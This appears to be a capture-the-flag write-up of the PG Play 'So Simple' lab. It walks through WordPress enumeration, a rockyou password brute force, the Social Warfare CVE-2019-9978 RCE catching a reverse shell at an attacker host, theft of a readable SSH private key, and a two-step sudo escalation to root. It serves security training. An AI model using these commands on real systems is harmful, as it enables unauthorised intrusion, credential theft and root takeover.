WordPress plugin RCE to a reverse shell, an SSH key for user access, then a two-hop sudo chain to root
A classic Linux web box. We enumerate a WordPress install, brute-force a user's login, and find a vulnerable Social Warfare plugin with a public RCE. That lands a www-data shell where a user's private SSH key is readable. From there it's a sudo chain: max can run service as steven, and steven can run a root-owned script we control, giving a clean path to root.
Two open ports: SSH and an Apache web server titled "So Simple".
$ nmap -v -sCTV -p- -Pn -T4 192.168.x.x PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: So Simple Service Info: OS: Linux
Fuzzing under /wordpress confirms a full WordPress install (wp-login.php, wp-admin, and an uploads directory with listing enabled).
$ ffuf -c -w .../common.txt -e .txt,.php,.html -fc 404 \
-u http://192.168.x.x/wordpress/FUZZ
license.txt [Status: 200]
readme.html [Status: 200]
wp-admin [Status: 301]
wp-content [Status: 301]
wp-login.php [Status: 200]
xmlrpc.php [Status: 405]WPScan enumerates two users and the site runs an old WordPress 5.4.2. A dictionary attack against max with rockyou lands a valid login.
$ wpscan -e u --url http://192.168.x.x/wordpress
[+] admin
[+] max
[i] 2 user(s) Identified.
$ wpscan -U max -P /usr/share/wordlists/rockyou.txt \
--url http://192.168.x.x/wordpress
[SUCCESS] - max / **********
[!] Valid Combinations Found:
| Username: max, Password: **********Enumerating plugins reveals Social Warfare 3.5.0 (out of date). That version has a public, unauthenticated RCE.
$ wpscan -e ap --url http://192.168.x.x/wordpress [+] social-warfare Version: 3.5.0 (100% confidence) [+] simple-cart-solution $ searchsploit social warfare Social Warfare WordPress Plugin 3.5.2 - RCE | multiple/webapps/52346.py Plugin Social Warfare < 3.5.3 - RCE | php/webapps/46794.py # CVE-2019-9978
The exploit (CVE-2019-9978) abuses the plugin's swp_debug parameter to load a remote payload and trigger a reverse shell. Run it with your listener IP/port; it serves the payload and catches the callback as www-data.
$ searchsploit -m multiple/webapps/52346.py $ python3 52346.py [+] Payload written to payload.txt [+] HTTP server running at port 8000 [+] Listening on port 4444 for reverse shell... connect to [ATTACKER] from (UNKNOWN) [192.168.x.x] $ whoami www-data
Enumerating /home, user max's .ssh directory is world-readable and contains a private key. (personal.txt is just a Base64 taunt, and user.txt isn't readable yet.)
www-data@so-simple:/home/max/.ssh$ ls authorized_keys id_rsa id_rsa.pub www-data@so-simple:/home/max/.ssh$ cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- [ private key contents — copied to attacker box ] -----END OPENSSH PRIVATE KEY-----
$ chmod 600 id_rsa $ ssh max@192.168.x.x -i id_rsa max@so-simple:~$ cat user.txt # user flag ************
sudo -l shows max can run /usr/sbin/service as steven with no password. Per GTFOBins, service can spawn a shell, so we pivot to steven.
max@so-simple:~$ sudo -l
User max may run the following commands:
(steven) NOPASSWD: /usr/sbin/service
max@so-simple:~$ sudo -u steven /usr/sbin/service ../../../bin/bash
steven@so-simple:/$ whoami
stevensteven can run /opt/tools/server-health.sh as root with no password, and steven owns that path, so we control the script's contents. Make it spawn a root shell and run it.
steven@so-simple:~$ sudo -l
(root) NOPASSWD: /opt/tools/server-health.sh
steven@so-simple:/opt/tools$ echo '#!/bin/bash' > server-health.sh
steven@so-simple:/opt/tools$ echo '/bin/bash -p' >> server-health.sh
steven@so-simple:/opt/tools$ chmod +x server-health.sh
steven@so-simple:/opt/tools$ sudo /opt/tools/server-health.sh
root@so-simple:~# id
uid=0(root) gid=0(root) groups=0(root)
root@so-simple:~# cat proof.txt # root flag ************.ssh directory turned a flimsy www-data shell into stable key-based SSH accessClick any tool below to access official documentation and reference guides
# ROAHACKS - PG Play So Simple | Published: October 31, 2026